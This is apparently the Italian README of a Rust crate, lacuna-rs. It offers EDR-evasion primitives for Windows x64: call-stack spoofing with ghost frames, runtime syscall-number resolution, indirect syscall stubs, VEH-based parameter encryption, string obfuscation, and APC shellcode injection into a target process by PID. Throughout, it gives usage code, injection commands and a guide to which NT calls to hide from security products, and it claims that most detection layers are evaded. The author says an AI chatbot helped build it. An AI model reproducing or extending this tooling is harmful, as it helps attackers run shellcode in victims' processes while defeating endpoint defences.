
Crate Rust per ghost-frame call-stack spoofing, runtime indirect syscalls e APC injection su Windows x64. Fornisce risoluzione SSN, emissione di stub JIT e crittografia dei parametri basata su VEH per evasione di EDR.
Ghost-frame call-stack spoofing + chiamate di sistema indirette runtime per Windows x64 — portato in Rust.
Portato da LACUNA Chain (lacuna_chain.c) di Mohamed Alzhrani (0xmaz).
lacuna-rs è un crate Rust riutilizzabile che fornisce le stesse primitive del C TTP originale, strutturato per poter essere inserito in qualsiasi progetto Rust — come wsyscall-rs o syscalls-rs, ma con risoluzione runtime degli SSN, targeting syscall;ret per funzione e spoofing dello stack con ghost-frame.
La funzionalità
stack-spooffallirà silenziosamente se il crate consumatore non è compilato con frame pointer.
Le primitive di stomping dello stack in chain.rs localizzano lo slot dell'indirizzo di ritorno del chiamante tramite assembly inline mov rbp, {x}. Ciò richiede che la catena RBP sia intatta. Rust (e la maggior parte dei compilatori in modalità release) omette i frame pointer di default.
build.rs imposta force-frame-pointers=yes per il codice di questo crate, ma Cargo non può propagare i flag del compilatore ai crate downstream. Devi aggiungere questo al tuo progetto:
# .cargo/config.toml (nel TUO crate, non in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Senza questo, stomp_plant() leggerà dati spazzatura da RBP e o non farà nulla (caso migliore) o corromperà lo stack (caso peggiore). Il crate non ha modo di rilevare a runtime se i frame pointer sono abilitati — semplicemente non funzionerà.
Se hai bisogno solo delle primitive di scansione, risoluzione SSN o iniezione (senza spoofing dello stack), puoi omettere la funzionalità stack-spoof e questo requisito non si applica.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
Quando nessuna funzionalità è abilitata, sono disponibili solo i livelli di scansione/PE/NT.
cargo run --example scan
cargo run --example verify --features stack-spoof
Esempio di iniezione con implant reale - C2 era offline ma lo shellcode è stato eseguito
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Aggiungi --verbose per abilitare l'output diagnostico VEH (dump dello stack, stampa dei registri):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Invece di accodare APC a ogni thread nel processo target (cosa che potrebbe causare il crash del processo quando troppi thread vengono allertati simultaneamente), inject_sapc utilizza un algoritmo di punteggio per selezionare i migliori MAX_APC_THREADS (5) candidati:
NtQueryInformationThread(ThreadCycleTime) — indicatore principale di attivitàNtQueryInformationThread(ThreadTimes) — tempo kernel + utenteNtQueryInformationThread(ThreadSuspendCount) — i thread non sospesi ottengono un bonus di +300; i thread sospesi ottengono -150 per ogni conteggio di sospensioneNtQueryInformationThread(ThreadBasicInformation) — i thread con priorità 8-10 ottengono un bonus di +150; le priorità fuori intervallo ricevono una penalità di -100I thread completamente inattivi (zero cicli e zero tempo CPU) vengono saltati del tutto. I candidati rimanenti vengono ordinati per punteggio (dal più alto al più basso, con spareggio sui cicli) e troncati ai primi 5.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scansiona per regioni ghost
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regioni ghost in ntdll", n);
// Risolvi SSN + syscall;ret per una funzione specifica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Risolvi SSN + indirizzo del syscall;ret della funzione
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// Emetti stub JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret se build_chain è stato chiamato)
let stub = stub::make_stub(ssn, syscall_ret).expect("allocazione stub fallita");
// Cast al tipo di puntatore a funzione corrispondente e chiama
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scansiona ntdll/kernelbase/wow64/win32u per regioni ghost e costruisci
// lo stack falso a sei livelli. Imposta G_GHOST_GADGET in modo che gli stub
// vengano instradati tramite JMP [RBX] in una DLL firmata.
lacuna::chain::build_chain();
// Registra i gestori VEH (crittografia parametri + guardia della catena)
let _veh = lacuna::veh::VehGuard::register().expect("Registrazione VEH fallita");
// Opzionale: abilita la diagnostica verbose a runtime
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Pianta ghost frame (sostituisce gli indirizzi di ritorno con ghost di DLL firmate)
lacuna::chain::stomp_plant();
// Arma DR0 sul syscall;ret -- VEH decritterà XOR i parametri al confine
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Chiama tramite lo stub indiretto -- RIP atterra dentro ntdll all'ingresso del kernel
let _status = unsafe { open_proc(/* parametri crittografati XOR */) };
// Disarma sempre prima di qualsiasi chiamata non protetta
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
Non tutte le chiamate API necessitano del trattamento LACUNA completo. Il principio chiave è: nascondi le chiamate che un EDR correlerebbe come attività di iniezione o post-exploitation.
Queste sono le syscall NT "gioiello della corona" che gli EDR hookano e correlano:
Per ciascuna di queste:
nt::resolve(ntdll, b"NtXxx\0")stub::make_stub(ssn, syscall_ret)veh::pcrypt_arm(key, syscall_ret, true)chain::stomp_plant() e chain::stomp_restore()nt::resolve(ntdll, b"NtXxx\0") — restituisce (SSN, syscall_ret_VA).stub::make_stub(ssn, syscall_ret) — restituisce un puntatore a funzione chiamabile.extern "system" fn(...) appropriato tramite core::mem::transmute.chain::build_chain() e chiama chain::stomp_plant() / chain::stomp_restore() intorno alla chiamata.veh::pcrypt_arm(key, syscall_ret, true) prima della chiamata, e veh::pcrypt_disarm() dopo.Lo stub gestisce automaticamente la sequenza mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Se un gadget ghost è stato registrato, lo stub instrada tramite JMP [RBX] per reindirizzamento dell'esecuzione a doppio uso + frame ponte senza artefatti.
Tutti i 9 contributi chiave dal writeup di LACUNA Chain sono rappresentati nel codice:
syscalls-rs?syscalls-rs e wsyscall-rs generano una tabella SSN in fase di build basata sul ntdll di una specifica build di Windows. Se la macchina target esegue una build diversa, gli SSN sono errati e le syscall falliscono (o fanno scattare le euristiche dell'EDR).
lacuna-rs risolve gli SSN a runtime leggendo direttamente gli stub di ntdll, e punta all'istruzione syscall;ret della funzione stessa in modo che RIP sia all'interno di ntdll all'ingresso del kernel — sconfiggendo le euristiche "SSN mismatch" e "syscall indiretta da memoria non supportata" dell'EDR.
Inoltre, lacuna-rs fornisce la catena di spoofing dello stack con ghost-frame che syscalls-rs non ha.
x86_64-pc-windows-msvc (oppure x86_64-pc-windows-gnu)litcrypt2 (offuscamento stringhe in fase di compilazione)stack-spoof)La funzionalità stack-spoof richiede frame pointer. build.rs imposta force-frame-pointers=yes automaticamente per questo crate, ma i crate consumatori devono impostarlo anche loro nel loro .cargo/config.toml:
# .cargo/config.toml (nel crate consumatore)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Tutti i letterali stringa nel crate e negli esempi sono avvolti in macro lc!(), che li crittografano in fase di compilazione e li decrittografano a runtime. La chiave di crittografia viene letta dalla variabile d'ambiente LITCRYPT_ENCRYPT_KEY; se non impostata, litcrypt2 genera automaticamente una chiave casuale.
Per fissare una chiave per build riproducibili:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # Imposta force-frame-pointers per stack-spoof
├── src/
│ ├── lib.rs # Radice del crate + re-export + scan_all() + setup litcrypt2
│ ├── win.rs # Binding FFI Win32/NT (compatibile no_std)
│ ├── pe.rs # Analisi sezioni PE + export
│ ├── scan.rs # Scansione regioni ghost .pdata + gadget
│ ├── nt.rs # Risoluzione SSN + targeting syscall;ret
│ ├── stub.rs # Emissione stub syscall indiretta JIT
│ ├── veh.rs # VEH + crittografia parametri hardware breakpoint
│ ├── chain.rs # Catena ghost-frame LACUNA + stomp
│ └── inject.rs # Iniezione APC basata su sezione
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + target windows-msvc
Questo progetto è stato attivamente assistito da un Chatbot AI. Ho avuto l'opportunità di testare un modello open source più recente e molto capace (GLM-5.2 di Z.ai (Zhipu AI)) e volevo dargli un compito impegnativo. Lezioni apprese: Funzionava bene se l'umano sapeva come dovevano essere i risultati. Altrimenti... solo porcheria
MIT
| Primitiva | Funzione C | Modulo Rust |
|---|
| Analisi sezioni PE ed export | pe_section(), pe_export() | pe |
Scansione regione ghost .pdata | scan_ghosts(), best_ghost() | scan |
Scoperta gadget ghost (jmp [rbx]) | scan_ghost_gadgets() | scan |
Ricerca gap NOP in win32u | win32u_nop_gap() | scan |
| Ricerca anchor BYOUD-MF | find_mf_target() | scan |
| Risoluzione SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localizzazione syscall;ret per funzione | find_func_syscall() | nt |
| Emissione stub syscall indiretta JIT | alloc_stub() | stub |
| Reindirizzamento stub tramite gadget ghost | (in alloc_stub()) | stub |
| Crittografia parametri VEH + hardware breakpoint | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH di guardia della catena | chain_veh() | veh |
| Costruzione catena LACUNA | build_chain() | chain |
| Stomp dello stack (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Camminatore catena (verifica) | lacuna_walk_chain() | chain |
| Iniezione APC basata su sezione | do_inject_sapc() | inject |
| Funzionalità | Descrizione | Richiede frame pointer? |
|---|
syscalls (default) | Risoluzione SSN + emissione stub JIT | No |
inject (default) | Iniezione APC basata su sezione (inject::inject_sapc) | No |
veh | VEH + crittografia parametri hardware breakpoint | No |
stack-spoof | Catena ghost-frame LACUNA + stomp dello stack | Sì |
no-std | Modalità no_std (sperimentale) | No |
| Chiamata | Perché è sensibile |
|---|
NtOpenProcess | Apre un handle a un altro processo — primo passo dell'iniezione |
NtCreateSection + NtMapViewOfSection (remoto) | Firma di iniezione basata su sezione |
NtWriteVirtualMemory | Scrittura cross-process — indicatore classico di iniezione |
NtCreateThreadEx | Creazione di thread remoto — primitiva di iniezione a più alto segnale |
NtQueueApcThread | Iniezione APC — alto segnale |
NtProtectVirtualMemory | Cambiamenti di permessi RWX — indicatore di staging di shellcode |
NtAllocateVirtualMemory (remoto) | Allocazione remota — preludio all'iniezione |
NtSetInformationThread | Nascondere thread (HideFromDebugger) — indicatore di evasione |
| Chiamata | Perché è sicura |
|---|
NtQueryInformationThread | Solo query, raramente hookata, nessuna scrittura cross-process |
NtDelayExecution | Sleep — benigna, usata da ogni applicazione |
NtClose | Chiusura handle — benigna, estremamente comune |
GetModuleHandleA / GetProcAddress | Risoluzione moduli — non è una syscall, non hookabile dagli hook userland dell'EDR |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | Enumerazione thread — kernel32, non syscall ntdll |
OpenThread / CloseHandle | Operazioni standard su handle — kernel32 |
GetThreadContext / SetThreadContext | Necessario per DR0 — kernel32, solo processo proprio |
lc!()set_verbose(true)| # | Concetto del Writeup | Posizione nel Codice | Descrizione |
|---|
| 1 | BYOUD-Gap (zero modifica di .pdata) | chain.rs — costruzione catena ghost frame | Sfrutta i gap tra le voci RUNTIME_FUNCTION; l'unwinder le tratta come frame foglia (RSP += 8) |
| 2 | Attacco alla Finestra APC ETW-Ti | inject.rs — drenaggio alertabile NtDelayExecution | Controlla quando lo snapshot dello stack APC di ETW-Ti viene attivato manipolando lo stato alertabile del thread |
| 3 | Crittografia dei Parametri in Contesto BYOUD | veh.rs — pcrypt_arm(), param_encrypt_veh() | Crittografa XOR i parametri della syscall in fase di staging; decrittografa all'interno di un VEH con hardware breakpoint all'istruzione syscall |
| 4 | Catena di Gap NOP Win32u + Gadget Ghost | scan.rs — win32u_nop_gap(), scan_ghost_gadgets() | 1.242 gap NOP in win32u.dll forniscono frame foglia nella whitelist; gadget ghost JMP [RBX] a ntdll+0xFC47B |
| 5 | Prossimità Semantica Ghost in kernelbase | chain.rs — livello L2_kbase vicino a VirtualProtect | Ghost di 238 byte che termina al punto di ingresso di VirtualProtect — indistinguibile da un vero sito di ritorno di VP |
| 6 | BYOUD-MF (Teletrasporto RSP del Machine Frame) | chain.rs — struct MachFrame, scan.rs — find_mf_target() | Sfrutta UWOP_PUSH_MACHFRAME (opcode 10) nei dispatcher KiUser* per teletrasporto arbitrario di RSP in un singolo frame |
| 7 | BYOUD-RT (Calcolo Runtime di RSP) | chain.rs — teb_stack_base(), teb_stack_limit() | Legge TEB.StackBase (GS:[0x08]) al momento della chiamata per calcolare esattamente la distanza del frame — nessuna pre-calibrazione necessaria |
| 8 | Prossimità Ghost in wow64.dll | chain.rs — livello L1_wow64, scan.rs — target Wow64PrepareForException | Ghost di 91 byte che termina all'ingresso di Wow64PrepareForException — quarto livello semantico per la catena |
| 9 | Catena LACUNA a Sei Livelli | chain.rs — struct LacunaStack (L1-L5 + MachFrame) | Catena completa: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| Livello di rilevamento | Stato | Implementazione |
|---|
| Controllo modulo di origine | ELUSO | Tutti i frame in ntdll / kernelbase / wow64 / win32u |
| Correttezza della camminata unwind | ELUSO | Tutti i frame lacuna sono foglia -> RSP+8 valido |
Scansione forense .pdata | ELUSO | Zero modifiche; i gap sono preesistenti |
| Shadow stack CET | ELUSO | Catena puramente foglia; shadow stack non consultato |
| Analisi semantica dei frame | ELUSO | Adiacenza eccezione WoW64 + VirtualProtect |
| Esonero delle regole Win32u | ELUSO | Livello 4 esplicitamente escluso da tutte le regole |
| ETW-Ti STACKWALK | ELUSO | L'attacco alla finestra APC controlla la tempistica dello snapshot |
| Ispezione dei parametri | ELUSO | Decrittografia VEH con breakpoint hardware |
| Callback kernel | PARZIALE | Le operazioni sugli handle attivano ancora ObRegisterCallbacks |